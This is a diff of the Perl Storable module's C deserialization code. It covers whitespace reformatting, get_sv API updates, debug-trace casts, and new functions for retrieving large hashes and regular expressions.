+ */
+static SV *get_lhash(pTHX_ stcxt_t *cxt, UV len, int hash_flags, const char *cname)
+{
+    UV size;
+    UV i;
+    HV *hv;
+    SV *sv;
+    HV *stash;
+
+    TRACEME(("get_lhash (#%d)", (int)cxt->tagnum));
+
+#ifdef HAS_RESTRICTED_HASHES
+    PERL_UNUSED_ARG(hash_flags);
+#else        
+    if (hash_flags & SHV_RESTRICTED) {
+        if (cxt->derestrict < 0)
+            cxt->derestrict = (SvTRUE
+                (get_sv("Storable::downgrade_restricted", GV_ADD))
+                               ? 1 : 0);
+        if (cxt->derestrict == 0)
+            RESTRICTED_HASH_CROAK();
+    }
+#endif
+
+    TRACEME(("size = %lu", (unsigned long)len));
+    hv = newHV();
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(hv, stash, 0);	/* Will return if table not allocated properly */
+    if (len == 0)
+        return (SV *) hv;	/* No data follow if table empty */
+    TRACEME(("split %lu", (unsigned long)len+1));
+    hv_ksplit(hv, len+1);	/* pre-extend hash to save multiple splits */
+
+    /*
+     * Now get each key/value pair in turn...
+     */
+
+    for (i = 0; i < len; i++) {
+        /*
+         * Get value first.
+         */
+
+        TRACEME(("(#%d) value", (int)i));
+        sv = retrieve(aTHX_ cxt, 0);
+        if (!sv)
+            return (SV *) 0;
+
+        /*
+         * Get key.
+         * Since we're reading into kbuf, we must ensure we're not
+         * recursing between the read and the hv_store() where it's used.
+         * Hence the key comes after the value.
+         */
+
+        RLEN(size);		/* Get key size */
+        KBUFCHK((STRLEN)size);	/* Grow hash key read pool if needed */
+        if (size)
+            READ(kbuf, size);
+        kbuf[size] = '\0';	/* Mark string end, just in case */
+        TRACEME(("(#%d) key '%s'", (int)i, kbuf));
+
+        /*
+         * Enter key/value pair into hash table.
+         */
+
+        if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0)
+            return (SV *) 0;
+    }
+
+    TRACEME(("ok (get_lhash at 0x%" UVxf ")", PTR2UV(hv)));
+    return (SV *) hv;
+}
+#endif
+
+/*
  * retrieve_hash
  *
  * Retrieve a whole hash table.
@@ -5407,67 +6425,68 @@
  */
 static SV *retrieve_hash(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	I32 len;
-	I32 size;
-	I32 i;
-	HV *hv;
-	SV *sv;
-	HV *stash;
+    I32 len;
+    I32 size;
+    I32 i;
+    HV *hv;
+    SV *sv;
+    HV *stash;
 
-	TRACEME(("retrieve_hash (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_hash (#%d)", (int)cxt->tagnum));
 
-	/*
-	 * Read length, allocate table.
-	 */
+    /*
+     * Read length, allocate table.
+     */
 
-	RLEN(len);
-	TRACEME(("size = %d", len));
-	hv = newHV();
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(hv, stash, 0);		/* Will return if table not allocated properly */
-	if (len == 0)
-		return (SV *) hv;	/* No data follow if table empty */
-	hv_ksplit(hv, len + 1);		/* pre-extend hash to save multiple splits */
+    RLEN(len);
+    TRACEME(("size = %d", (int)len));
+    hv = newHV();
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(hv, stash, 0);	/* Will return if table not allocated properly */
+    if (len == 0)
+        return (SV *) hv;	/* No data follow if table empty */
+    TRACEME(("split %d", (int)len+1));
+    hv_ksplit(hv, len+1);	/* pre-extend hash to save multiple splits */
 
-	/*
-	 * Now get each key/value pair in turn...
-	 */
+    /*
+     * Now get each key/value pair in turn...
+     */
 
-	for (i = 0; i < len; i++) {
-		/*
-		 * Get value first.
-		 */
+    for (i = 0; i < len; i++) {
+        /*
+         * Get value first.
+         */
 
-		TRACEME(("(#%d) value", i));
-		sv = retrieve(aTHX_ cxt, 0);
-		if (!sv)
-			return (SV *) 0;
+        TRACEME(("(#%d) value", (int)i));
+        sv = retrieve(aTHX_ cxt, 0);
+        if (!sv)
+            return (SV *) 0;
 
-		/*
-		 * Get key.
-		 * Since we're reading into kbuf, we must ensure we're not
-		 * recursing between the read and the hv_store() where it's used.
-		 * Hence the key comes after the value.
-		 */
+        /*
+         * Get key.
+         * Since we're reading into kbuf, we must ensure we're not
+         * recursing between the read and the hv_store() where it's used.
+         * Hence the key comes after the value.
+         */
 
-		RLEN(size);						/* Get key size */
-		KBUFCHK((STRLEN)size);					/* Grow hash key read pool if needed */
-		if (size)
-			READ(kbuf, size);
-		kbuf[size] = '\0';				/* Mark string end, just in case */
-		TRACEME(("(#%d) key '%s'", i, kbuf));
+        RLEN(size);		/* Get key size */
+        KBUFCHK((STRLEN)size);	/* Grow hash key read pool if needed */
+        if (size)
+            READ(kbuf, size);
+        kbuf[size] = '\0';	/* Mark string end, just in case */
+        TRACEME(("(#%d) key '%s'", (int)i, kbuf));
 
-		/*
-		 * Enter key/value pair into hash table.
-		 */
+        /*
+         * Enter key/value pair into hash table.
+         */
 
-		if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0)
-			return (SV *) 0;
-	}
+        if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0)
+            return (SV *) 0;
+    }
 
-	TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv)));
+    TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv)));
 
-	return (SV *) hv;
+    return (SV *) hv;
 }
 
 /*
@@ -5493,7 +6512,7 @@
     int hash_flags;
 
     GETMARK(hash_flags);
-    TRACEME(("retrieve_flag_hash (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_flag_hash (#%d)", (int)cxt->tagnum));
     /*
      * Read length, allocate table.
      */
@@ -5501,9 +6520,9 @@
 #ifndef HAS_RESTRICTED_HASHES
     if (hash_flags & SHV_RESTRICTED) {
         if (cxt->derestrict < 0)
-            cxt->derestrict
-                = (SvTRUE(perl_get_sv("Storable::downgrade_restricted", GV_ADD))
-                   ? 1 : 0);
+            cxt->derestrict = (SvTRUE
+                (get_sv("Storable::downgrade_restricted", GV_ADD))
+                               ? 1 : 0);
         if (cxt->derestrict == 0)
             RESTRICTED_HASH_CROAK();
     }
@@ -5510,13 +6529,14 @@
 #endif
 
     RLEN(len);
-    TRACEME(("size = %d, flags = %d", len, hash_flags));
+    TRACEME(("size = %d, flags = %d", (int)len, hash_flags));
     hv = newHV();
     stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-    SEEN_NN(hv, stash, 0);		/* Will return if table not allocated properly */
+    SEEN_NN(hv, stash, 0);	/* Will return if table not allocated properly */
     if (len == 0)
         return (SV *) hv;	/* No data follow if table empty */
-    hv_ksplit(hv, len + 1);		/* pre-extend hash to save multiple splits */
+    TRACEME(("split %d", (int)len+1));
+    hv_ksplit(hv, len+1);	/* pre-extend hash to save multiple splits */
 
     /*
      * Now get each key/value pair in turn...
@@ -5529,7 +6549,7 @@
          * Get value first.
          */
 
-        TRACEME(("(#%d) value", i));
+        TRACEME(("(#%d) value", (int)i));
         sv = retrieve(aTHX_ cxt, 0);
         if (!sv)
             return (SV *) 0;
@@ -5546,7 +6566,7 @@
                Without messing around beyond what the API is supposed to do.
             */
             SV *keysv;
-            TRACEME(("(#%d) keysv, flags=%d", i, flags));
+            TRACEME(("(#%d) keysv, flags=%d", (int)i, flags));
             keysv = retrieve(aTHX_ cxt, 0);
             if (!keysv)
                 return (SV *) 0;
@@ -5564,8 +6584,8 @@
             if (flags & SHV_K_PLACEHOLDER) {
                 SvREFCNT_dec (sv);
                 sv = &PL_sv_placeholder;
-		store_flags |= HVhek_PLACEHOLD;
-	    }
+                store_flags |= HVhek_PLACEHOLD;
+            }
             if (flags & SHV_K_UTF8) {
 #ifdef HAS_UTF8_HASHES
                 store_flags |= HVhek_UTF8;
@@ -5572,7 +6592,7 @@
 #else
                 if (cxt->use_bytes < 0)
                     cxt->use_bytes
-                        = (SvTRUE(perl_get_sv("Storable::drop_utf8", GV_ADD))
+                        = (SvTRUE(get_sv("Storable::drop_utf8", GV_ADD))
                            ? 1 : 0);
                 if (cxt->use_bytes == 0)
                     UTF8_CROAK();
@@ -5580,16 +6600,16 @@
             }
 #ifdef HAS_UTF8_HASHES
             if (flags & SHV_K_WASUTF8)
-		store_flags |= HVhek_WASUTF8;
+                store_flags |= HVhek_WASUTF8;
 #endif
 
-            RLEN(size);						/* Get key size */
-            KBUFCHK((STRLEN)size);				/* Grow hash key read pool if needed */
+            RLEN(size);		/* Get key size */
+            KBUFCHK((STRLEN)size);/* Grow hash key read pool if needed */
             if (size)
                 READ(kbuf, size);
-            kbuf[size] = '\0';				/* Mark string end, just in case */
-            TRACEME(("(#%d) key '%s' flags %X store_flags %X", i, kbuf,
-		     flags, store_flags));
+            kbuf[size] = '\0';	/* Mark string end, just in case */
+            TRACEME(("(#%d) key '%s' flags %X store_flags %X", (int)i, kbuf,
+                     flags, store_flags));
 
             /*
              * Enter key/value pair into hash table.
@@ -5603,7 +6623,7 @@
                 if (hv_store(hv, kbuf, size, sv, 0) == 0)
                     return (SV *) 0;
 #endif
-	}
+        }
     }
 #ifdef HAS_RESTRICTED_HASHES
     if (hash_flags & SHV_RESTRICTED)
@@ -5625,128 +6645,200 @@
 #if PERL_VERSION < 6
     CROAK(("retrieve_code does not work with perl 5.005 or less\n"));
 #else
-	dSP;
-	int type, count, tagnum;
-	SV *cv;
-	SV *sv, *text, *sub, *errsv;
-	HV *stash;
+    dSP;
+    I32 type, count;
+    IV tagnum;
+    SV *cv;
+    SV *sv, *text, *sub, *errsv;
+    HV *stash;
 
-	TRACEME(("retrieve_code (#%d)", cxt->tagnum));
+    TRACEME(("retrieve_code (#%d)", (int)cxt->tagnum));
 
-	/*
-	 *  Insert dummy SV in the aseen array so that we don't screw
-	 *  up the tag numbers.  We would just make the internal
-	 *  scalar an untagged item in the stream, but
-	 *  retrieve_scalar() calls SEEN().  So we just increase the
-	 *  tag number.
-	 */
-	tagnum = cxt->tagnum;
-	sv = newSViv(0);
-	stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
-	SEEN_NN(sv, stash, 0);
+    /*
+     *  Insert dummy SV in the aseen array so that we don't screw
+     *  up the tag numbers.  We would just make the internal
+     *  scalar an untagged item in the stream, but
+     *  retrieve_scalar() calls SEEN().  So we just increase the
+     *  tag number.
+     */
+    tagnum = cxt->tagnum;
+    sv = newSViv(0);
+    stash = cname ? gv_stashpv(cname, GV_ADD) : 0;
+    SEEN_NN(sv, stash, 0);
 
-	/*
-	 * Retrieve the source of the code reference
-	 * as a small or large scalar
-	 */
+    /*
+     * Retrieve the source of the code reference
+     * as a small or large scalar
+     */
 
-	GETMARK(type);
-	switch (type) {
-	case SX_SCALAR:
-		text = retrieve_scalar(aTHX_ cxt, cname);
-		break;
-	case SX_LSCALAR:
-		text = retrieve_lscalar(aTHX_ cxt, cname);
-		break;
-	case SX_UTF8STR:
-		text = retrieve_utf8str(aTHX_ cxt, cname);
-		break;
-	case SX_LUTF8STR:
-		text = retrieve_lutf8str(aTHX_ cxt, cname);
-		break;
-	default:
-		CROAK(("Unexpected type %d in retrieve_code\n", type));
-	}
+    GETMARK(type);
+    switch (type) {
+    case SX_SCALAR:
+        text = retrieve_scalar(aTHX_ cxt, cname);
+        break;
+    case SX_LSCALAR:
+        text = retrieve_lscalar(aTHX_ cxt, cname);
+        break;
+    case SX_UTF8STR:
+        text = retrieve_utf8str(aTHX_ cxt, cname);
+        break;
+    case SX_LUTF8STR:
+        text = retrieve_lutf8str(aTHX_ cxt, cname);
+        break;
+    default:
+        CROAK(("Unexpected type %d in retrieve_code\n", (int)type));
+    }
 
-	if (!text) {
-		CROAK(("Unable to retrieve code\n"));
-	}
+    if (!text) {
+        CROAK(("Unable to retrieve code\n"));
+    }
 
-	/*
-	 * prepend "sub " to the source
-	 */
+    /*
+     * prepend "sub " to the source
+     */
 
-	sub = newSVpvs("sub ");
-	if (SvUTF8(text))
-		SvUTF8_on(sub);
-	sv_catpv(sub, SvPV_nolen(text)); /* XXX no sv_catsv! */
-	SvREFCNT_dec(text);
+    sub = newSVpvs("sub ");
+    if (SvUTF8(text))
+        SvUTF8_on(sub);
+    sv_catpv(sub, SvPV_nolen(text)); /* XXX no sv_catsv! */
+    SvREFCNT_dec(text);
 
-	/*
-	 * evaluate the source to a code reference and use the CV value
-	 */
+    /*
+     * evaluate the source to a code reference and use the CV value
+     */
 
-	if (cxt->eval == NULL) {
-		cxt->eval = perl_get_sv("Storable::Eval", GV_ADD);
-		SvREFCNT_inc(cxt->eval);
-	}
-	if (!SvTRUE(cxt->eval)) {
-		if (
-			cxt->forgive_me == 0 ||
-			(cxt->forgive_me < 0 && !(cxt->forgive_me =
-				SvTRUE(perl_get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0))
-		) {
-			CROAK(("Can't eval, please set $Storable::Eval to a true value"));
-		} else {
-			sv = newSVsv(sub);
-			/* fix up the dummy entry... */
-			av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv));
-			return sv;
-		}
-	}
+    if (cxt->eval == NULL) {
+        cxt->eval = get_sv("Storable::Eval", GV_ADD);
+        SvREFCNT_inc(cxt->eval);
+    }
+    if (!SvTRUE(cxt->eval)) {
+        if (cxt->forgive_me == 0 ||
+            (cxt->forgive_me < 0 &&
+             !(cxt->forgive_me = SvTRUE
+               (get_sv("Storable::forgive_me", GV_ADD)) ? 1 : 0))
+            ) {
+            CROAK(("Can't eval, please set $Storable::Eval to a true value"));
+        } else {
+            sv = newSVsv(sub);
+            /* fix up the dummy entry... */
+            av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv));
+            return sv;
+        }
+    }
 
-	ENTER;
-	SAVETMPS;
+    ENTER;
+    SAVETMPS;
 
-	errsv = get_sv("@", GV_ADD);
-	SvPVCLEAR(errsv);	/* clear $@ */
-	if (SvROK(cxt->eval) && SvTYPE(SvRV(cxt->eval)) == SVt_PVCV) {
-		PUSHMARK(sp);
-		XPUSHs(sv_2mortal(newSVsv(sub)));
-		PUTBACK;
-		count = call_sv(cxt->eval, G_SCALAR);
-		if (count != 1)
-			CROAK(("Unexpected return value from $Storable::Eval callback\n"));
-	} else {
-		eval_sv(sub, G_SCALAR);
-	}
-	SPAGAIN;
-	cv = POPs;
-	PUTBACK;
+    errsv = get_sv("@", GV_ADD);
+    SvPVCLEAR(errsv);	/* clear $@ */
+    if (SvROK(cxt->eval) && SvTYPE(SvRV(cxt->eval)) == SVt_PVCV) {
+        PUSHMARK(sp);
+        XPUSHs(sv_2mortal(newSVsv(sub)));
+        PUTBACK;
+        count = call_sv(cxt->eval, G_SCALAR);
+        if (count != 1)
+            CROAK(("Unexpected return value from $Storable::Eval callback\n"));
+    } else {
+        eval_sv(sub, G_SCALAR);
+    }
+    SPAGAIN;
+    cv = POPs;
+    PUTBACK;
 
-	if (SvTRUE(errsv)) {
-		CROAK(("code %s caused an error: %s",
-			SvPV_nolen(sub), SvPV_nolen(errsv)));
-	}
+    if (SvTRUE(errsv)) {
+        CROAK(("code %s caused an error: %s",
+               SvPV_nolen(sub), SvPV_nolen(errsv)));
+    }
 
-	if (cv && SvROK(cv) && SvTYPE(SvRV(cv)) == SVt_PVCV) {
-	    sv = SvRV(cv);
-	} else {
-	    CROAK(("code %s did not evaluate to a subroutine reference\n", SvPV_nolen(sub)));
-	}
+    if (cv && SvROK(cv) && SvTYPE(SvRV(cv)) == SVt_PVCV) {
+        sv = SvRV(cv);
+    } else {
+        CROAK(("code %s did not evaluate to a subroutine reference\n",
+               SvPV_nolen(sub)));
+    }
 
-	SvREFCNT_inc(sv); /* XXX seems to be necessary */
-	SvREFCNT_dec(sub);
+    SvREFCNT_inc(sv); /* XXX seems to be necessary */
+    SvREFCNT_dec(sub);
 
-	FREETMPS;
-	LEAVE;
-	/* fix up the dummy entry... */
-	av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv));
+    FREETMPS;
+    LEAVE;
+    /* fix up the dummy entry... */
+    av_store(cxt->aseen, tagnum, SvREFCNT_inc(sv));
 
-	return sv;
+    return sv;
 #endif
 }
 
+static SV *retrieve_regexp(pTHX_ stcxt_t *cxt, const char *cname) {
+#if PERL_VERSION >= 8
+    int op_flags;
+    U32 re_len;
+    STRLEN flags_len;
+    SV *re;
+    SV *flags;
+    SV *re_ref;
+    SV *sv;
+    dSP;
+    I32 count;
+
+    PERL_UNUSED_ARG(cname);
+
+    ENTER;
+    SAVETMPS;
+
+    GETMARK(op_flags);
+    if (op_flags & SHR_U32_RE_LEN) {
+        RLEN(re_len);
+    }
+    else
+        GETMARK(re_len);
+
+    re = sv_2mortal(NEWSV(10002, re_len ? re_len : 1));
+    READ(SvPVX(re), re_len);
+    SvCUR_set(re, re_len);
+    *SvEND(re) = '\0';
+    SvPOK_only(re);
+
+    GETMARK(flags_len);
+    flags = sv_2mortal(NEWSV(10002, flags_len ? flags_len : 1));
+    READ(SvPVX(flags), flags_len);
+    SvCUR_set(flags, flags_len);
+    *SvEND(flags) = '\0';
+    SvPOK_only(flags);
+
+    PUSHMARK(SP);
+
+    XPUSHs(re);
+    XPUSHs(flags);
+
+    PUTBACK;
+
+    count = call_pv("Storable::_make_re", G_SCALAR);
+
+    SPAGAIN;
+
+    if (count != 1)
+        CROAK(("Bad count %d calling _make_re", count));
+
+    re_ref = POPs;
+
+    PUTBACK;
+
+    if (!SvROK(re_ref))
+      CROAK(("_make_re didn't return a reference"));
+
+    sv = SvRV(re_ref);
+    SvREFCNT_inc(sv);
+    
+    FREETMPS;
+    LEAVE;
+
+    return sv;
+#else
+    CROAK(("retrieve_regexp does not work with 5.6 or earlier"));
+#endif
+}
+
 /*
  * old_retrieve_array
  *
@@ -5759,51 +6851,51 @@
  */
 static SV *old_retrieve_array(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	I32 len;
-	I32 i;
-	AV *av;
-	SV *sv;
-	int c;
+    I32 len;
+    I32 i;
+    AV *av;
+    SV *sv;
+    int c;
 
-	PERL_UNUSED_ARG(cname);
-	TRACEME(("old_retrieve_array (#%d)", cxt->tagnum));
+    PERL_UNUSED_ARG(cname);
+    TRACEME(("old_retrieve_array (#%d)", (int)cxt->tagnum));
 
-	/*
-	 * Read length, and allocate array, then pre-extend it.
-	 */
+    /*
+     * Read length, and allocate array, then pre-extend it.
+     */
 
-	RLEN(len);
-	TRACEME(("size = %d", len));
-	av = newAV();
-	SEEN0_NN(av, 0);			/* Will return if array not allocated nicely */
-	if (len)
-		av_extend(av, len);
-	else
-		return (SV *) av;		/* No data follow if array is empty */
+    RLEN(len);
+    TRACEME(("size = %d", (int)len));
+    av = newAV();
+    SEEN0_NN(av, 0);	/* Will return if array not allocated nicely */
+    if (len)
+        av_extend(av, len);
+    else
+        return (SV *) av;	/* No data follow if array is empty */
 
-	/*
-	 * Now get each item in turn...
-	 */
+    /*
+     * Now get each item in turn...
+     */
 
-	for (i = 0; i < len; i++) {
-		GETMARK(c);
-		if (c == SX_IT_UNDEF) {
-			TRACEME(("(#%d) undef item", i));
-			continue;			/* av_extend() already filled us with undef */
-		}
-		if (c != SX_ITEM)
-			(void) retrieve_other(aTHX_ cxt, 0);	/* Will croak out */
-		TRACEME(("(#%d) item", i));
-		sv = retrieve(aTHX_ cxt, 0);						/* Retrieve item */
-		if (!sv)
-			return (SV *) 0;
-		if (av_store(av, i, sv) == 0)
-			return (SV *) 0;
-	}
+    for (i = 0; i < len; i++) {
+        GETMARK(c);
+        if (c == SX_IT_UNDEF) {
+            TRACEME(("(#%d) undef item", (int)i));
+            continue;		/* av_extend() already filled us with undef */
+        }
+        if (c != SX_ITEM)
+            (void) retrieve_other(aTHX_ cxt, 0);/* Will croak out */
+        TRACEME(("(#%d) item", (int)i));
+        sv = retrieve(aTHX_ cxt, 0);		/* Retrieve item */
+        if (!sv)
+            return (SV *) 0;
+        if (av_store(av, i, sv) == 0)
+            return (SV *) 0;
+    }
 
-	TRACEME(("ok (old_retrieve_array at 0x%" UVxf ")", PTR2UV(av)));
+    TRACEME(("ok (old_retrieve_array at 0x%" UVxf ")", PTR2UV(av)));
 
-	return (SV *) av;
+    return (SV *) av;
 }
 
 /*
@@ -5820,85 +6912,86 @@
  */
 static SV *old_retrieve_hash(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	I32 len;
-	I32 size;
-	I32 i;
-	HV *hv;
-	SV *sv = (SV *) 0;
-	int c;
-	SV *sv_h_undef = (SV *) 0;		/* hv_store() bug */
+    I32 len;
+    I32 size;
+    I32 i;
+    HV *hv;
+    SV *sv = (SV *) 0;
+    int c;
+    SV *sv_h_undef = (SV *) 0;	/* hv_store() bug */
 
-	PERL_UNUSED_ARG(cname);
-	TRACEME(("old_retrieve_hash (#%d)", cxt->tagnum));
+    PERL_UNUSED_ARG(cname);
+    TRACEME(("old_retrieve_hash (#%d)", (int)cxt->tagnum));
 
-	/*
-	 * Read length, allocate table.
-	 */
+    /*
+     * Read length, allocate table.
+     */
 
-	RLEN(len);
-	TRACEME(("size = %d", len));
-	hv = newHV();
-	SEEN0_NN(hv, 0);		/* Will return if table not allocated properly */
-	if (len == 0)
-		return (SV *) hv;	/* No data follow if table empty */
-	hv_ksplit(hv, len + 1);		/* pre-extend hash to save multiple splits */
+    RLEN(len);
+    TRACEME(("size = %d", (int)len));
+    hv = newHV();
+    SEEN0_NN(hv, 0);		/* Will return if table not allocated properly */
+    if (len == 0)
+        return (SV *) hv;	/* No data follow if table empty */
+    TRACEME(("split %d", (int)len+1));
+    hv_ksplit(hv, len+1);	/* pre-extend hash to save multiple splits */
 
-	/*
-	 * Now get each key/value pair in turn...
-	 */
+    /*
+     * Now get each key/value pair in turn...
+     */
 
-	for (i = 0; i < len; i++) {
-		/*
-		 * Get value first.
-		 */
+    for (i = 0; i < len; i++) {
+        /*
+         * Get value first.
+         */
 
-		GETMARK(c);
-		if (c == SX_VL_UNDEF) {
-			TRACEME(("(#%d) undef value", i));
-			/*
-			 * Due to a bug in hv_store(), it's not possible to pass
-			 * &PL_sv_undef to hv_store() as a value, otherwise the
-			 * associated key will not be creatable any more. -- RAM, 14/01/97
-			 */
-			if (!sv_h_undef)
-				sv_h_undef = newSVsv(&PL_sv_undef);
-			sv = SvREFCNT_inc(sv_h_undef);
-		} else if (c == SX_VALUE) {
-			TRACEME(("(#%d) value", i));
-			sv = retrieve(aTHX_ cxt, 0);
-			if (!sv)
-				return (SV *) 0;
-		} else
-			(void) retrieve_other(aTHX_ cxt, 0);	/* Will croak out */
+        GETMARK(c);
+        if (c == SX_VL_UNDEF) {
+            TRACEME(("(#%d) undef value", (int)i));
+            /*
+             * Due to a bug in hv_store(), it's not possible to pass
+             * &PL_sv_undef to hv_store() as a value, otherwise the
+             * associated key will not be creatable any more. -- RAM, 14/01/97
+             */
+            if (!sv_h_undef)
+                sv_h_undef = newSVsv(&PL_sv_undef);
+            sv = SvREFCNT_inc(sv_h_undef);
+        } else if (c == SX_VALUE) {
+            TRACEME(("(#%d) value", (int)i));
+            sv = retrieve(aTHX_ cxt, 0);
+            if (!sv)
+                return (SV *) 0;
+        } else
+            (void) retrieve_other(aTHX_ cxt, 0); /* Will croak out */
 
-		/*
-		 * Get key.
-		 * Since we're reading into kbuf, we must ensure we're not
-		 * recursing between the read and the hv_store() where it's used.
-		 * Hence the key comes after the value.
-		 */
+        /*
+         * Get key.
+         * Since we're reading into kbuf, we must ensure we're not
+         * recursing between the read and the hv_store() where it's used.
+         * Hence the key comes after the value.
+         */
 
-		GETMARK(c);
-		if (c != SX_KEY)
-			(void) retrieve_other(aTHX_ cxt, 0);	/* Will croak out */
-		RLEN(size);						/* Get key size */
-		KBUFCHK((STRLEN)size);					/* Grow hash key read pool if needed */
-		if (size)
-			READ(kbuf, size);
-		kbuf[size] = '\0';				/* Mark string end, just in case */
-		TRACEME(("(#%d) key '%s'", i, kbuf));
+        GETMARK(c);
+        if (c != SX_KEY)
+            (void) retrieve_other(aTHX_ cxt, 0); /* Will croak out */
+        RLEN(size);				/* Get key size */
+        KBUFCHK((STRLEN)size);			/* Grow hash key read pool if needed */
+        if (size)
+            READ(kbuf, size);
+        kbuf[size] = '\0';			/* Mark string end, just in case */
+        TRACEME(("(#%d) key '%s'", (int)i, kbuf));
 
-		/*
-		 * Enter key/value pair into hash table.
-		 */
+        /*
+         * Enter key/value pair into hash table.
+         */
 
-		if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0)
-			return (SV *) 0;
-	}
+        if (hv_store(hv, kbuf, (U32) size, sv, 0) == 0)
+            return (SV *) 0;
+    }
 
-	TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv)));
+    TRACEME(("ok (retrieve_hash at 0x%" UVxf ")", PTR2UV(hv)));
 
-	return (SV *) hv;
+    return (SV *) hv;
 }
 
 /***
@@ -5963,16 +7056,17 @@
 
             old_len = sizeof(old_magicstr) - 1;
             READ(current + 1, (SSize_t)(old_len - len));
-            
+
             if (memNE(buf, old_magicstr, old_len))
                 CROAK(("File is not a perl storable"));
-	    old_magic++;
+            old_magic++;
             current = buf + old_len;
         }
         use_network_order = *current;
-    } else
-	GETMARK(use_network_order);
-        
+    } else {
+        GETMARK(use_network_order);
+    }
+
     /*
      * Starting with 0.6, the "use_network_order" byte flag is also used to
      * indicate the version number of the binary, and therefore governs the
@@ -5979,8 +7073,8 @@
      * setting of sv_retrieve_vtbl. See magic_write().
      */
     if (old_magic && use_network_order > 1) {
-	/*  0.1 dump - use_network_order is really byte order length */
-	version_major = -1;
+        /*  0.1 dump - use_network_order is really byte order length */
+        version_major = -1;
     }
     else {
         version_major = use_network_order >> 1;
@@ -6024,7 +7118,7 @@
                      cxt->accept_future_minor));
             if (cxt->accept_future_minor < 0)
                 cxt->accept_future_minor
-                    = (SvTRUE(perl_get_sv("Storable::accept_future_minor",
+                    = (SvTRUE(get_sv("Storable::accept_future_minor",
                                           GV_ADD))
                        ? 1 : 0);
             if (cxt->accept_future_minor == 1)
@@ -6052,7 +7146,7 @@
         GETMARK(c);
     }
     else {
-	c = use_network_order;
+        c = use_network_order;
     }
     length = c + 3 + use_NV_size;
     READ(buf, length);	/* Not null-terminated */
@@ -6062,7 +7156,7 @@
 #ifdef USE_56_INTERWORK_KLUDGE
     /* No point in caching this in the context as we only need it once per
        retrieve, and we need to recheck it each read.  */
-    if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", GV_ADD))) {
+    if (SvTRUE(get_sv("Storable::interwork_56_64bit", GV_ADD))) {
         if ((c != (sizeof (byteorderstr_56) - 1))
             || memNE(buf, byteorderstr_56, c))
             CROAK(("Byte order is not compatible"));
@@ -6069,12 +7163,13 @@
     } else
 #endif
     {
-        if ((c != (sizeof (byteorderstr) - 1)) || memNE(buf, byteorderstr, c))
+        if ((c != (sizeof (byteorderstr) - 1))
+          || memNE(buf, byteorderstr, c))
             CROAK(("Byte order is not compatible"));
     }
 
     current = buf + c;
-    
+
     /* sizeof(int) */
     if ((int) *current++ != sizeof(int))
         CROAK(("Integer size is not compatible"));
@@ -6105,160 +7200,169 @@
  */
 static SV *retrieve(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	int type;
-	SV **svh;
-	SV *sv;
+    int type;
+    SV **svh;
+    SV *sv;
 
-	TRACEME(("retrieve"));
+    TRACEME(("retrieve"));
 
-	/*
-	 * Grab address tag which identifies the object if we are retrieving
-	 * an older format. Since the new binary format counts objects and no
-	 * longer explicitly tags them, we must keep track of the correspondence
-	 * ourselves.
-	 *
-	 * The following section will disappear one day when the old format is
-	 * no longer supported, hence the final "goto" in the "if" block.
-	 */
+    /*
+     * Grab address tag which identifies the object if we are retrieving
+     * an older format. Since the new binary format counts objects and no
+     * longer explicitly tags them, we must keep track of the correspondence
+     * ourselves.
+     *
+     * The following section will disappear one day when the old format is
+     * no longer supported, hence the final "goto" in the "if" block.
+     */
 
-	if (cxt->hseen) {						/* Retrieving old binary */
-		stag_t tag;
-		if (cxt->netorder) {
-			I32 nettag;
-			READ(&nettag, sizeof(I32));		/* Ordered sequence of I32 */
-			tag = (stag_t) nettag;
-		} else
-			READ(&tag, sizeof(stag_t));		/* Original address of the SV */
+    if (cxt->hseen) {			/* Retrieving old binary */
+        stag_t tag;
+        if (cxt->netorder) {
+            I32 nettag;
+            READ(&nettag, sizeof(I32));	/* Ordered sequence of I32 */
+            tag = (stag_t) nettag;
+        } else
+            READ(&tag, sizeof(stag_t));	/* Original address of the SV */
 
-		GETMARK(type);
-		if (type == SX_OBJECT) {
-			I32 tagn;
-			svh = hv_fetch(cxt->hseen, (char *) &tag, sizeof(tag), FALSE);
-			if (!svh)
-				CROAK(("Old tag 0x%" UVxf " should have been mapped already",
-					(UV) tag));
-			tagn = SvIV(*svh);	/* Mapped tag number computed earlier below */
+        GETMARK(type);
+        if (type == SX_OBJECT) {
+            I32 tagn;
+            svh = hv_fetch(cxt->hseen, (char *) &tag, sizeof(tag), FALSE);
+            if (!svh)
+                CROAK(("Old tag 0x%" UVxf " should have been mapped already",
+                       (UV) tag));
+            tagn = SvIV(*svh);	/* Mapped tag number computed earlier below */
 
-			/*
-			 * The following code is common with the SX_OBJECT case below.
-			 */
+            /*
+             * The following code is common with the SX_OBJECT case below.
+             */
 
-			svh = av_fetch(cxt->aseen, tagn, FALSE);
-			if (!svh)
-				CROAK(("Object #%" IVdf
-                                       " should have been retrieved already",
-					(IV) tagn));
-			sv = *svh;
-			TRACEME(("has retrieved #%d at 0x%" UVxf, tagn,
-                                 PTR2UV(sv)));
-			SvREFCNT_inc(sv);	/* One more reference to this same sv */
-			return sv;			/* The SV pointer where object was retrieved */
-		}
+            svh = av_fetch(cxt->aseen, tagn, FALSE);
+            if (!svh)
+                CROAK(("Object #%" IVdf " should have been retrieved already",
+                       (IV) tagn));
+            sv = *svh;
